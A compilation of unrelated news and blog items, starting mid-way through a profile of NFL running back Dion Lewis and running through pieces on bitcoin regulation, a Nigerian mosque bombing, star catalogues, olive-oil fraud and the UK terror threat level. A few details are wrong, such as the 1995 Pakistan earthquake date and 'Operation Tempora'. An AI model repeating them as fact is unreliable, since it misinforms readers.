but I don't think of it that way," he said. "I've always been one of the smaller guys on my team, my whole life, so I'm used to it. I knew what I wanted to do and I wasn't going to let anybody tell me I couldn't do something."  Clue No. 3: Lewis was held back by circumstance  Lewis just wasn't in the right place at the right time early in his career.  The Eagles weren't right. Lewis' arrival in Philadelphia coincided with McCoy's arrival as a premier back. In 2011, Lewis' rookie season, McCoy led the NFL in touchdowns and was voted First Team All-Pro. He took 73 percent of the running back touches that year.  "When Dion had opportunities, he was outstanding," said Marty Mornhinweg, who was the Eagles offensive coordinator. "But he was behind LeSean."  Michael Perez/Associated Press  The following season, Lewis stayed behind McCoy and fell behind two rookies—Bryce Brown, who checked in at 5'11", 223, and Chris Polk, who was 5'11", 222. It did not help that Banner, who had been Lewis' football godfather, had been phased out in Philadelphia.  Banner went from Philadelphia to Cleveland, and one of his first moves was to call the Eagles to ask if they would trade Lewis. Banner acquired Lewis a second time in a deal for linebacker Emmanuel Acho.  The Browns weren't right, either. Lewis appeared to be on the verge of breaking out in Cleveland the summer of 2013. Then he fractured his fibula in the second preseason game.  "I would say he was going to play a great deal if he had not been injured," said Norv Turner, who was the Browns offensive coordinator that year. "After [the Browns traded] Trent Richardson [in September], Dion would have definitely been the starter."  Instead, Lewis spent the season on injured reserve. He came back in the summer of 2014, but most of the people who had traded for him were gone. In camp, Lewis did not look like the same player he was before the injury, and the Browns' new regime prioritized size in the backfield. Lewis was cut as the Browns elected to retain Terrance West, Isaiah Crowell and Ben Tate, each of whom stood 5'11" and none of whom weighed less than 220.  The Colts weren't right. They picked up Lewis one week into the season. The plan was to develop a specific role for him and work him into the offense. Many coaches see him as the type of player who is best utilized in a specific package. But days later, the Colts lost defensive tackle Art Jones to an ankle injury. They needed a roster spot to replace him, so Lewis was let go.  The Colts will get their first look at him since last September on Sunday when the Patriots come to town.  After Lewis was cut, the Giants and Patriots had him visit for workouts. Neither team needed a running back at the time. Both were interested in signing him down the road, after the season.  Lewis checked the transaction wire dutifully and made frequent calls to his agent, J.R. Rickert, to assess the landscape. But as far as NFL teams were concerned, Lewis was either too small, not durable enough or not capable of being plugged into their system.  Clue No. 4: Lewis changed the way he trained  After last season ended, Lewis came to a realization. Whatever he had been doing in the past in terms of training and preparation was not enough. So he spent six weeks at the Fischer Institute in Phoenix working harder and smarter than he ever had.  With bands, boxes, medicine balls and sleds, he worked on acceleration, deceleration and agility for functional running back movements.  Lewis was surrounded by others with similar goals. His college roommate, Jon Baldwin, accompanied him, and they became roommates again in Arizona. Others who were regulars at the Fischer Institute included Aaron Dobson, Logan Ryan, Julio Jones and Tyrann Mathieu.  Chip Gosewisch, the sports performance director at the Fischer Institute, said Lewis was "aggressively focused" on preparing himself for this season. "When he put his cleats on to do the agility drills, there wasn't any rest," he said. "He didn't go through anything less than 100 percent. He wasn't ever going through the motions."  Lewis came to realize how precious an opportunity can be. "He won't forget when he was sitting on the couch," Rickert said.  Last year was not easy, but Lewis is better for having survived it. "I was discouraged a little bit through the process, not getting picked up," Lewis said. "But I kept my head held high and worked hard so I could make the most of my opportunity when I got one."  Those who know him well say Lewis appears to be playing with more explosion than before. "I feel stronger," Lewis said. "I think I got better at everything."  Clue No. 5: The situation was finally right  It became apparent very quickly that Lewis fit perfectly in the Patriots' offensive puzzle. Before the team took a single snap this season, Tom Brady told NBC broadcasters Al Michaels and Cris Collinsworth that Lewis would become a cult hero in New England. Three games into the season, the Patriots signed Lewis to a two-year contract extension that reportedly includes $1.8 million in incentives.  Lewis has been nicknamed "Jitterbug" by teammate Julian Edelman. Cowboys defenders Barry Church, Jack Crawford, J.J. Wilcox and Corey White understand why after each whiffed on Lewis during a catch and run that went for a 10-yard touchdown last Sunday.  According to Pro Football Focus, Lewis has forced a league-leading 29 missed tackles in just 59 touches.  Lewis, with a little help from one of the greatest coaches in the history of the game, has defeated defenders in many ways.  Patriots coach Bill Belichick said on his WEEI radio show this week:  One of the most impressive things about Dion is how versatile he's been. He's caught balls out of the backfield. He's caught running back-type routes on linebackers, but he's also caught some receiver-type routes from being extended—gos, double moves, slants, things like that. It's not all slip-screens or hitches or that type of thing. They are actually receiver-type routes. In the running game, he has shown he can run inside. He has shown he can run outside. He has shown he can run with power…put his shoulder down and push the pile for a couple yards. And then he has shown he is very elusive in space with his quickness and change of direction. Sometimes [defenders] don't even hit him. He has good balance and good strength to break tackles, and the quickness to avoid them.  Cowboys defensive coordinator Rod Marinelli believes Lewis will be a special NFL player.  "They use him very well," Marinelli said. "They get the ball to him in different ways. Some of the ways they run the ball allow him to use his vision. He gets upfield so quickly. He sees it really well. He's kind of like a [Darren] Sproles with more of an inside dimension. He's physical, and his change of direction is something else. He's pretty unique in that way."  The mystery of Dion Lewis? It's not where he came from anymore. It's how to contain him.  Dan Pompei covers the NFL for Bleacher Report.
-After Mirko Caballero sent Lethal Design, (V12) He set his eyes on the infamous Meadow Lark Lemon (V13 stand start, V14 sit start). After battling the problem for a few days a foot hold breaks making Mirko have to change his beta. Meadow Lark pushes the kid to his max but with Shaun Raboutou's help he sees some new beta and redoubles his efforts. After another two-day battle he finally manages the standing start and not too longer after Mirko completed the sit start (V14, 8b+) making him, at age 13, the youngest person ever to climb the grade. Factoid: the next youngest person to climb V14 was Adam Ondra at age 15. A Kid Climbs one of the Coolest Problems in the USA | Caballero Confessions of a Kid Crusher, Ep. 5
-The Monetary Authority of Singapore (MAS), which also acts as the Central Bank, promulgated a new document regulating the turnover of tokens in accordance with the provisions of the Securities Act.  According to the text, tokens created for the ICO, subject to certain conditions, can be considered as securities. This category includes tokens that represent the products of capital.  Such tokens are determined in accordance with the provisions of the Securities and Futures Act. For example, investment fund tokens can be considered as securities. On the other hand, the tokens of technical projects do not fall within the competence of MAS and can’t be considered as securities.  In addition, MAS is working on the development of a new set of documents aimed at combating money laundering and terrorism financing.  The Monetary Authority of the country also published a report on the Ubin state program, which actually transfers the gross settlement system to blockchain. Currently, three platforms are being tested: HyperLedger Fabric, Corda and Quorum.  The report indicates that such a reform will reduce the cost of performing daily payment transactions, as well as secure the financial ecosystem from the impact of problems within the Central Bank. The role of the Central Bank itself is reduced to monitoring the system operation and resolving disputes.  Discover more at ICO event Amsterdam!
-According to Israeli Army News (English translation below), Israeli banks have begun to limit the size of wire transfer amounts to bitcoin exchanges. The article explains that due to concerns of money laundering, taxation, and legality, banks have asked the Bank of Israel and Finance Ministry to provide an answer as to whether there are any regulatory problems with money transfers being made for bitcoins. So far, the regulators have yet to provide any guidelines and have said that they are investigating the matter. (With forex regulation in Israel being a slow process, it will interesting to see if bitcoin laws get finalized first)  In the time being, without an answer from governing bodies, Israel banks are limiting the value amount of international transfers allowed to be sent to bitcoin exchanges; specifically to Japan, home of MtGox and the most bitcoin/money exchanging in the world.  Join the iFX EXPO Asia and discover your gateway to the Asian Markets  What hasn’t been done yet is a complete ban on bank transfers to bitcoin exchanges around the world, and payments sent to non-Japanese venues have been executed according to Forex Magnate’s internal investigations. Also, while local Israeli bitcoin dealers are known to be out of bitcoins due to the limits on international transfers, they are theoretically still in business (just without stock) and haven’t been approached by regulators. Nonetheless, the events represent that although it is easy to transfer bitcoins around the world, hurdles remain for buyers to actually purchase the currency. While Israel‘s effect on bitcoin demand is probably quite low, if similar measures occur from larger nations it could very quickly sap demand.  On a silver lining, the fact that banks are approaching regulators for a decision means that rules from governments around the world should be forthcoming. As such, if there are provisions that deal with money laundering and legality, it could lead to easier outflows to bitcoin exchanges which would make the currency more readily available. On the other hand, they may just ban them outright due to client safety and money laundering issues.  English Translation of the Hebrew article
-McCain said the administration 'should be consulting' members of Congress. McCain fumes over leaks on Syria  Sen. John McCain on Wednesday said President Barack Obama has failed to lay out his policy toward Syria and he railed about leaks on the U.S. military plans.  “[Assad] crossed that red line and I think he was then encouraged to do more since he was not held to account for his previous breaches,” McCain said on Fox News’ “Fox & Friends.” “But all of these leaks, when strikes are going to take place, where, what’s going to be used, if I were Bashar Assad, I think I would declare tomorrow a snow day and keep everybody from work. This is crazy. These leaks are just crazy.”  Story Continued Below  McCain also took Obama to task for not explaining his policy toward Syria.  ( PHOTOS: John McCain visits Syria)  “This is the same president that two years ago said that Bashar Assad must leave office and so where is America’s credibility? Where is our ability to influence events in the region?” the Arizona Republican said.  And those “who say we should stay out of Syria do not understand that this is now a regional conflict” that is increasingly “getting worse,” he said. “And what is the president’s policy? What is the president’s policy?”  As for the question of whether the president should be seeking congressional approval on Syria, McCain said the administration “should be consulting” members.  ( See POLITICO’s full Syria coverage)  “It’s interesting to me that both the British parliament and the French parliament have convened to discuss this issue,” he said. “I do think that the president needs to have more consultation, which so far has not been there. But the War Powers Act is a little murky about that.”
-The blast happened during early morning prayers at the Madina mosque in the Unguwar Shuwa area of Mubi, some 200 kilometres (125 miles) by road from the Adamawa state capital Yola.  It was the biggest attack in Adamawa since December 2016, when two female suicide bombers killed 45 people at a crowded market in the town of Madagali.  Nigeria's President Muhammadu Buhari, who announced nearly two years ago that Boko Haram was "technically defeated", described the blast as "very cruel and dastardly".  AP  Security analysts said it again underlined the threat posed by the Islamic State group affiliate, despite an overall decline in deaths from attacks by the group last year.Military and civilian militia sources in the northeast said the attack was likely to have been in response to recent increased ground and air operations against Boko Haram.Adamawa state police spokesman Othman Abubakar told AFP that "at least 50" people were killed in the Mubi attack, which saw the bomber detonate his explosives among worshippers."The bomber was about 17 years old," he added later.Asked who was responsible, Abubakar said: "We all know the trend. We don't suspect anyone specifically but we know those behind such kind of attacks."  Roof blown off  The attack bore all the hallmarks of Boko Haram, the Islamist militants whose insurgency has left at least 20,000 people dead and more than 2.6 million others homeless since 2009.  Abubakar Sule, who lives near the mosque, said he was present during the rescue operation and that 40 people died on the spot while several others were taken to hospital with severe and life-threatening injuries.  "The roof was blown off. People near the mosque said the prayer was mid-way when the bomber, who was obviously in the congregation, detonated his explosives.  "This is obviously the work of Boko Haram."  Yan St-Pierre, a counter-terrorism specialist at the Modern Security Consulting Group in Berlin, said the bombing was part of a pattern of increasingly lethal strikes in the last four weeks.  The latest Global Terrorism Index, published last week, said that deaths attributed to Boko Haram in 2016 fell by 80 percent.  But St-Pierre said despite this "Boko Haram remains an extremely potent and dangerous organisation" which was far from being "on the back foot", as the military and government has claimed.  A civilian militia source embedded with the military told AFP the attack was likely to have been to "shore up morale" after a series of recent losses in the remote region.  On November 19, Boko Haram bases in the Njimiya, Parisa and Gulumba areas near the Sambisa Forest of Borno state were hit by air strikes, leading to "heavy losses", he claimed.  This could also explain two videos put out on social media by Boko Haram in the last week, purporting to show its fighters in combat and dead Nigerian soldiers, he added.  A military source in the Borno state capital, Maiduguri, said there had been more aerial offensives in the Marte, Kukawa, Monguno and Abadam areas of northern Borno.  "They are feeling the heat. They have lost a staggering number of fighters, so they are now fighting back in their usual dastardly way, attacking civilians," he said.  'Operational presence'  Boko Haram briefly overran Mubi in late 2014 as its fighters rampaged across northeastern Nigeria, seizing towns and villages in its quest to establish a hardline Islamic state.  The town's name was changed temporarily to Madinatul Islam, or "City of Islam" in Arabic, during the brief Boko Haram occupation.  But it has been peaceful since the military and the civilian militia ousted them from the town, which is a commercial hub and home to the Adamawa State University.  In recent months, Boko Haram activity has been concentrated around Madagali, in the far north of Adamawa near the border with Borno.  There have been repeated raids and suicide bombings, blamed on Boko Haram remnants pushed out of their camps in the Sambisa Forest.  Boko Haram fighters are also said to be hiding in the Mandara mountains, which forms the border of Adamawa and Nigeria with neighbouring Cameroon, where there has also been more attacks.  Ryan Cummings, from security analysts Signal Risk, said the attack suggests Boko Haram "has an active operational presence in Adamawa" and retained the capacity to hit hard.  "It appears that despite open calls for Boko Haram to desist in such acts of mass violence against Muslim civilian interests, that these have not been heeded," he added.
-The Solar Cube: A Solar and Wind Powered Water Source for Remote Areas  September 22nd, 2008 by Ariel Schwartz  Carbon nanotubes may be the water filter wave of the future, but Spectra Watermakers’ Solar Cube works pretty well in the meantime.  The Cube (AKA the Spectra Solar Brackish Water System) is a portable solar and wind powered desalination unit that can produce 950 to 1500 gallons of fresh water each day. Attached photovoltaic cells generate up to 1240 watts, while the wind generator can produce up to 1000 watts.  The Cube generates more power than is necessary for water production, so excess energy can be used for other things—such as the operation of emergency equipment.  And the Solar Cube has already been tested in tough environments. Recently, it was deployed for testing by the Chilean military and civilian services, where it was used in identical conditions to those found in Iraq. During the past year, the Cube was also introduced to remote areas of South America and Asia. Prototypes were used in Pakistan after the major 1995 earthquake in the country.  The Cube has performed well—the system has a recovery rate of 30% and produces high quality water that contains less than 170 mg/L of seawater.  While the Solar Cube probably won’t be used in major metropolitan areas anytime soon, it is ideal for disaster sites and locations that have limited access to fresh water. Personally, I’d like to keep one in storage in case of emergency. I just need to come up with $38,000 to cover the asking price.  Posts Related to Solar Power:
-Albert Pike, poet, Freemason, and Confederate man about town, astutely commented that “one man is equivalent to all Creation. One man is a World in miniature.” If one man represents the world than the roof over his head, and a mini version of that roof surely has some fundamental universal importance.  We love sensible and profound quotes as much as we love micro architecture, and in discovering Pritzker Prize winner Peter Zumthor’s strangely compelling large-scale models, we’ve found a new means to satisfy our obsession with little buildings. A study in micro representation, the model, as Zumthor explains, is the only way to consider the “atmosphere” of a space. Or, what we like to think of as the best way to design good vibes.  We invite you to get out some construction paper, a pair of scissors, and that old crafty standby, Elmer’s Glue, and be inspired to build your own mini proverbial universe. Made out of wacky materials like organic milk cartons, pepto bismol pink styrofoam and paper dinner napkins, click through to check out our roundup of remarkable models made by some of the world’s most important architects.  Soft paper napkin stack for The Hague’s Dance and Music Center by Zaha Hadid  Image credit: Zaha Hadid Associates via InventorSpot
-PM Narendra Modi with Russian President Vladimir Putin in New Delhi.  The US is unhappy over India doing "business as usual" with Russia, but it will have no effect on US President Barack Obama's upcoming visit to India which remains an "important partner.""No. India remains an important partner," US State Department spokesperson Jen Psaki told reporters on Friday when asked whether deals reached during Russian President Vladimir Putin's just concluded visit to India would change Obama's plans.Obama has been invited by Prime Minister Narendra Modi to be the chief guest at India's Republic Day parade on January 26. He will be the first US President to get that honour and the first one to visit India twice while in office."Obviously, our economic relationship is a big part of what we continue to work on," Psaki said while repeating its caution to "allies and partners" that it was not time for doing business with Russians following its intervention in Ukraine.The US, she said, had seen reports about India and Russia signing agreements in oil exploration, infrastructure, defence and nuclear energy including construction of 12 Russian-built nuclear units in India over the next two decades."We continue to monitor it, but we haven't looked at all the specifics of the contracts, for obvious reasons," Psaki said. But "We continue to urge all countries not to conduct business as usual with Russia."Noting that "there are already sanctions in place" imposed on Russia by the US and its Western allies, Psaki said it was not calling for sanctions on other countries."In general, though, given the situation, it shouldn't be business as usual," she said.Asked if the US had spoken to Indians before Putin's trip that it's not the right time to do business with Russia, Psaki said: "Well, we've been engaged in that discussion.""I'd remind you India doesn't support the actions of Russia and the actions - their intervention into Ukraine," she said. "They've been pretty outspoken about that as well."On the presence of Sergey Aksyonov, Prime Minister of Crimea, the former Ukrainian territory annexed by Russia, in Putin's delegation to India, which too has upset Washington, Psaki said: "I don't have anything new to offer on that."Asked if the US had confirmed if he was there or not, she said: "There have been a range of reports." But "I don't have any US government confirmation. We're obviously not in on the trip with them." Asked again if there's any change in Obama's trip to India, the spokesperson said emphatically: "No. No, no."
-Image copyright EPA Image caption The head had been on display at the Guimet Museum in Paris  A French museum has returned the head of a 7th Century Hindu statue to Cambodia 130 years after it was taken.  The statue, a representation of the Hindu gods Vishnu and Shiva, had its head taken in French colonial times.  It was returned by the Guimet Museum in Paris at Cambodia's request and reattached to the body on Thursday.  A Cambodian culture ministry spokesman said joining the head to the statue felt "like we are reconnecting the soul of our national heritage".  Image copyright Reuters Image caption France may yet be allowed to display the Harihara statue in future  Image copyright Reuters Image caption The statue is "symbolic of prosperity", one official said  Image copyright EPA Image caption The reunification was carried out with a lavish ceremony in Phnom Penh  "According to our Khmer culture, the reunion is symbolic of prosperity," Deputy Prime Minister Sok An said at a ceremony in Cambodia's National Museum.  The complete statue had stood in the Phnom Da temple in southern Takeo province before its head was shipped to France in 1886.  Cambodia has not ruled out allowing France to display the complete statue, known as Harihara, in the future.  Over the past few years, Cambodia has sought to return artefacts taken by other countries without permission. In the past three years, several statues were sent back to Cambodia by US museums and a private collector in Norway.
-This week, the International Astronomical Union (IAU) published a catalog of 227 official star names. The list was published in order to standardize names and to cut down on confusion when referencing constellations, since each one has had various monikers in Greek, Roman, Chinese, Arabic and many other languages throughout history.  Although the IAU has attempted to provide a brief history of the cataloguing of the stars on their website as an accompaniement to the new catalog, the association begins with the western astronomers of the European Renaissance; crediting Johann Bayer's Uranometria atlas of 1603 as the first such popular catalog. This in fact omits the pivotal contributions of a number of medieval scholars to the information science of cataloguing the stars.  The earliest known cataloguer (as opposed to just mapping) of the stars in the West is Hipparchos of Nikaia (c.190-126 BCE). He is credited as the inventor of trigonometry, but also began to measure the night sky using instruments like the dioptra (Gr.διόπτρα, a surveying instrument for the stars) and perhaps the armillary astrolabe. He compiled and indexed many previous astral readings of the night sky. He was one of a number of Hellenistic astronomers following the period of expansion and subjugation under Alexander the Great who were fascinated by the act of enumerating and cataloguing the stars. The most famous of these astronomers, Ptolemy, wrote the Almagest. This work established the need for astronomical tables which then allowed for the calculation of the positions of the planets, eclipses and the setting of the calendar.  One explanation for this Hellenistic era celestial obsession is offered by ancient Greek historian Graham Shipley, who notes, "The desire to catalogue and name the heavens may be seen as part of a larger ideological project...coloured by a desire to identify and symbolically appropriate the peoples and lands with which they came into contact." In other words, the very act of cataloguing was an argument of dominance. It could serve as a gesture of imperialism to have informational command over the heavens.  The cataloguing work of Hellenistic astronomers had a great impact on the medieval Muslim world. As Marika Sardar, a curator of Islamic Art now at the San Diego Museum of Art, noted, "Between the eighth and tenth centuries, Baghdad was a major center of study under the Abbasid caliphs al-Mansur (r. 754–75) and al-Ma’mun (r. 813–33)...At this time, scientists translated studies in Sanskrit, Pahlavi, and Greek into Arabic, and, for the first time, recorded Arab Bedouin traditions." Claudius Ptolemy's works were translated and studied by these scientists as well. Notably, such observatories included both Muslim academics and Jewish ones, such as the 9th century Sahl (Abu 'Uthman) ibn Bishr.  The intellectual debt we owe to medieval Muslim astronomers is great. A few years ago, an exceptional book was published by cartographical historian Elly Dekker. Called Illustrating the Phaenomena: Celestial Cartography in Antiquity and the Middle Ages, she notes the astronomical tables revised and codified within the Baghdad astronomical observatories active from the 9th to the early 10th century. The pivotal Al-Zij al-Mumtahan (the validated astronomical table) was then assembled by the astronomer Al-Battānī (Lat. Albategnius). He notably lists 533 stars and determined the length of the solar year. Turns out that he was only a couple of minutes off the mark. The Bodleian Libraries’ have now digitized a 12th-century copy of a work by notable Muslim astronomer ʿAbd al-Raḥmān al-Ṣūfī’. It is called Book of Fixed Stars and was a popular illustrated treatise written in Arabic (via Digital Bodleian and Fihrist).  Astronomers and cartographers writing in Arabic are an oft-overlooked group, but so are the female medieval cosmographers. The best known of the Middle Ages is likely Hildegard of Bingen, a German abbess at a Benedictine monastery, who worked throughout the 12th century. She wrote works on cosmology which she then attributed to divine inspiration (what a modest nun!). Her drawings of the seasons and of the animals blowing the winds onto the earth's surface (e.g. a lobster) are a reminder that mapping--whether accurate or not--is still an act of understanding. Similarly, there were elite women like Sophia Brahe, a Danish astronomer of the 16th and early 17th century who lived in the shadow of her more famous brother, Tycho. Sophia was a voracious reader of German and Latin who contributed to the early modern scientific revolution.  Heading into the early modern era, interest in mapping of the heavens indeed took off. The printing press made maps of the stars more accessible and widely circulated than ever, and new technologies like the telescope, invented around 1608, continued to fuel the celestial craze. One of the most famed of the celestial cartographers was Jesuit mathematician named Ignace Gaston Pardies, whose star atlas was published a year after his death: one in 1674 and another edition in 1693 and 1700.  The multi-cultural history of cataloguing and mapping the stars says a lot about every civilization's interest in understanding the celestial sphere on their own terms and in their own language. Information science and the intentional act of organizing places we cannot visit then provide us with a means of control--even if we have none. The IAU's new standardized list of star names then enshrines part of the rich history of astronomy through language, but we should also remember the myriad men and women who wished to catalog the heavens with their own terms.
-An Australian backpacker was left shocked after she was told she could not rent a flat in Edinburgh because people from her country are 'drunks and racists'.  Laura Gratton, 24, saw the £400-a-month room advertised online and inquired about the possibility of living there having recently moved to Scotland for the first time.  But the landlord turn down her request straight away - saying that 'it is well known that Australians are racist' and she would therefore not be a good housemate.  And after Miss Gratton - who is working in a restaurant in Edinburgh - pointed out that she is friends with people from all around the world, the man again insisted that 'Australia is the most racist nation'.  Rejected: Backpacker Laura Gratton was told she couldn't rent a flat in Edinburgh because she is Australian  Advert: The traveller saw this notice posted on spareroom.co.uk and responded to it  The backpacker, originally from Melbourne, moved to Scotland after visiting Edinburgh for a weekend and falling in love with the historic city instantly.  She has been travelling around different countries for years, and was previously working in London after securing a two-year UK visa.  Miss Gratton saw the flat advertised on spareroom.co.uk, offering a room in a shared house in the centre of Edinburgh, and sent a message to the landlord to express his interest.  The man replied: 'Hi Laura, it is well known in Europe that Australians are racist. In fact around the world your people are famous for this.  'Just as France is famous for wine and cheese. Australia is famous for its drunks and racists. I'm sorry I need to reject this request.'  Response: The landlord sent Miss Gratton these two messages telling her Australians are 'drunks and racists'  Travels: The keen backpacker is travelling the word including a stop in London  Globetrotter: She has also snapped keepsake photographs and landmarks around the world, and is pictured her in Paris  Outraged at the response, Miss Gratton wrote to him saying: 'You obviously are quite racist putting such labels and speculations on a whole race without knowing the individual.  'The majority of my closest friends are from across the globe so would hate to think I'm racist. So thank you for rejecting this email, I don't think we would get along at all. And I suggest you actually visit Australia and realise how multicultural we are.'  But the landlord then sent her a link to a news report about racism in Australia, adding: 'Hi, I'm not judging a whole race. I don't want to take the risk. It is fact Australia is the most racist nation, your people are so open about it as well.  'This is what you Australians are known for in Europe. I think we would still get along by the way. Anyway, good luck.'  Miss Gratton said afterwards: 'When I first received the response I thought it was just a joke but then I realised that he was being serious.  Adventurous: Miss Gratton with an Italian friend posing for a picture together in Stockholm  'I was angry and frustrated that someone could think like this and say it to me just because of where I was from.  'Australia is a multi-cultural and very accepting country. There are race issues like any other country - but the actions of a few shouldn't be used to judge anyone from that country.  'This was my first encounter of such strong negative and offensive stereotyping on my travels. I have heard the odd joke about drinking to do with Australians or Irish people but it has only ever been jokes among friends, never anything intended to hurt like this.'  No joke: Ms Gratton said she could not believe the response at first but was offended when it turned out to be real  A spokesman for spareroom.co.uk added: 'If we'd spotted anything like this in someone's ad we'd have removed it instantly.  'Dismissing a whole nation as racist is, frankly, ridiculous. There are clear laws about discrimination when it comes to renting rooms but it's not just about what is and isn't legal - it's about treating people as you'd want them to treat you.'
-CLOSE IndyStar IU Insider Zach Osterman discusses the Hoosiers' choice of Archie Miller as the program's new men's basketball coach. Matthew Glenesk / IndyStar  New IU coach Archie Miller reached out to Georgia guard Al Durham less than 24 hours on the job. (Photo: Marvin Gentry-USA TODAY Sports)  On the job less than 24 hours, new IU basketball coach Archie Miller is already reaching out to 2017 signees in an effort to keep Tom Crean's last recruiting class intact.  Al Durham Sr., father of IU recruit Al Durham, said Miller reached out Saturday.  "Al is a priority," Durham Sr. said. "(Miller) definitely wants him. He thinks he fits into his system well."  Following Crean's dismissal, Durham asked IU for a release from his national letter of intent. Pennsylvania forward Clifton Moore, another member of the 2017 class, also asked for his release last week.  Durham Sr. said Miller plans to visit the family "as quickly as he can talk to us face-to-face, which is good."  • DOYEL: Fred Glass knocks it out of the park with Archie Miller hire  • INSIDER: Archie Miller 'a great hire, great for the state'  As of Sunday, that visit has not been officially scheduled.  Durham, a three-star combo guard from Wilburn (Ga.) Berkmar, committed to the Hoosiers in October of 2015 — the first member of IU's 2017 class. And he may wind up in Bloomington still.  "I'm glad he reached out immediately," Durham Sr. said. "Al likes Indiana, loves Indiana. He was coming for Tom Crean, but it's Indiana. Just have to do what's best for the kid and make sure he's in the right situation."  A third member of IU's recruiting class, Justin Smith out of Lincolnshire (Ill.), is not believed to have requested out of his letter of intent.  NEWSLETTERS Get the IndyStar Motor Sports newsletter delivered to your inbox We're sorry, but something went wrong The latest news in IndyCar and the world of motor sports. Please try again soon, or contact Customer Service at 1-888-357-7827. Delivery: Sun - Fri Invalid email address Thank you! You're almost signed up for IndyStar Motor Sports Keep an eye out for an email to confirm your newsletter registration. More newsletters  Miller will be introduced as IU's new head coach at a 3 p.m., Monday news conference.  • MORE:'No doubt' Archie Miller will make in-state recruiting a priority  • MORE: 5 things to know about Archie Miller
-ROME (Thomson Reuters Foundation) - Italian police said they have busted a crime ring exporting fake extra virgin olive oil to the United States, highlighting the mafia’s infiltration of Italy’s famed agriculture and food business.  Twelve people with links to the ‘Ndrangheta, the organized crime group based in the southern Calabria region, were arrested on Tuesday on a series of charges including mafia association and fraud, police said in a statement.  The gang shipped cheap olive pomace oil to the U.S. where it was re-labeled as the more expensive “extra virgin” variety, prized for its rich taste and health benefits, and distributed as such to retail stores in New Jersey, they said.  Italian crime syndicates earned an estimated 16 billion euros ($16.85 billion) in 2015 through illegal activities in the agriculture sector, up from 15 billions in 2014, according to Italy’s agricultural association, Coldiretti.  Besides counterfeiting products, gangs make money seizing control of farmland and firms, fixing prices, controlling distribution and through labor exploitation, studies say.  In 2015, crime groups forced more than 100,000 Italians and migrants to work long hours for little pay in fields across the country, according to a report by Italian General Confederation of Labor union (CGIL).  Police said they found no evidence of labor exploitation linked to the fake olive oil scheme, which saw at least ten tonnes of low quality oil, in some cases past sell-by date, sent to the United States.  Pomace oil is extracted from olive pulp left-over from the production of higher quality oils using chemical solvents.  It costs about a tenth of the Italian made extra virgin variety, which sells at about 10 euro a liter, according to David Granieri, the head of Italian olive growers’ association UNAPROL.  Granieri said counterfeit food products posed health risks, as they might contain allergens not indicated on the label, and damaged the reputation of Italian delicacies.  Honest producers, who rely on a perception of luxury to sell at higher prices aboard, also suffered from cheap fake products at a time of low oil production, he added.  “They (the crime groups) are drugging the system,” he told the Thomson Reuters Foundation by phone.  Police said they had been in touch with U.S. authorities on the case.  Italy has long struggled against counterfeiting of its prized culinary goods, and police estimate the domestic market for fake foodstuffs is worth around 1 billion euros ($1.1 billion) a year.  ($1 = 0.9494 euros)
-According to an annex to the Minsk Protocol obtained by a newspaper, the area where the airport is located should have been transferred to Donetsk militia.  KIEV, January 25 (Sputnik) — The Donetsk airport, which has been under fire from Ukrainian forces, is located on the self-proclaimed Donetsk People’s Republic’s (DPR) side of the demarcation line outlined in the Minsk agreements, the Ukrainian Mirror Weekly newspaper reports.  According to an annex to the Minsk Protocol obtained by the newspaper, entitled “line of contact between the parties with reference to locality”, the area where the airport is located should have been transferred to Donetsk militia.  The fact that the airport has to be given to Donetsk militia “is supported by numbers – coordinates set forth in the annex to the [Minsk] Memorandum. Perhaps this is why this document has remained unpublished until now,” the newspaper’s international politics observer wrote.  According to the newspaper’s Kiev sources, the Minsk agreements envisioned that the airport would be transferred to DPR, however, this did not happen as the militia failed to transfer a number of locations to Kiev-led forces, the source said.  A ceasefire agreement and a memorandum outlining the ceasefire’s implementation were signed in September 2014 during meetings of the trilateral Contact Group on Ukraine, which comprises representatives from Ukraine, Russia and the Organization for Security and Co-operation in Europe (OSCE). Both sides have subsequently reported numerous ceasefire violations.  The Donetsk airport has long been a hotspot for fighting between Ukrainian forces and local independence supporters. Fighting intensified last week, with Kiev officially acknowledging that a major security operation was being carried out at the airport. The renewed shelling has destroyed nearby homes and infrastructure.
-If you need to catch up on the story, please read this and this.  In the past week, readers of this site have really come through for Pastor Norman Hayes after he was beaten up by a “Militant Atheist” (who would arguably be better described as a thug with a criminal past).  You all pitched in thousands of dollars to Hayes’ recovery fund, which is currently over $5,000. His son Andy wrote this note to supporters last night:  There have been many responses from the Friendly Atheist post, my dad just wanted to say thanks and that it means a lot. This isn’t about theology, it’s about humanity and how we treat each other.  That’s humbling and amazing. Thank you all for showing everyone that we won’t stand for this sort of violence done in association with our beliefs.
-BRITISH PRIME MINISTER Theresa May has raised the country’s terror threat level from severe to critical.  Critical is the highest level possible in the UK and means that an attack is “expected imminently”.  The threat level is decided by the Joint Terrorism Analysis Centre (JTAC). The last time it reached critical was in 2007, having been severe since 2014.  Prime Minister Theresa May said that the decision had been made following investigations today.  “It has now been concluded that the threat levels should be increased for the time being.  “This means that [the JTAC's] assessment is not only that an attack is highly likely, but that another attack is imminent  “It is a possibility we cannot ignore that there is a wider group of individuals linked to this attack.”  May added that military personnel will be deployed to Britain’s streets to support armed police officers under Operation Tempora.  Armed personnel will be visible at big events such as concerts and sporting events, she said.  Attack  Source: PA Wire/PA Images  The move comes as 22 people were confirmed dead after last night’s suicide bomb attack on an Ariana Grande concert in Manchester.  Manchester police identified the suspect behind the attack as 22-year-old Salman Abedi.  Police staged an armed raid on a Manchester address believed to be where Abedi lived, carrying out a controlled explosion to gain entry after arresting a 23-year-old man earlier Tuesday in connection with the attack.  “A single terrorist detonated his improvised explosive device near one of the exits of the venue, deliberately choosing the time and place to cause maximum carnage and to kill and injure indiscriminately,” May said after an emergency ministerial meeting.  The attack was the deadliest in Britain since July 7, 2005 when four suicide bombers inspired by Al-Qaeda attacked London’s transport system during rush hour, killing 52 people and wounding 700 more.  The Islamic State group has claimed responsibility for the attack.
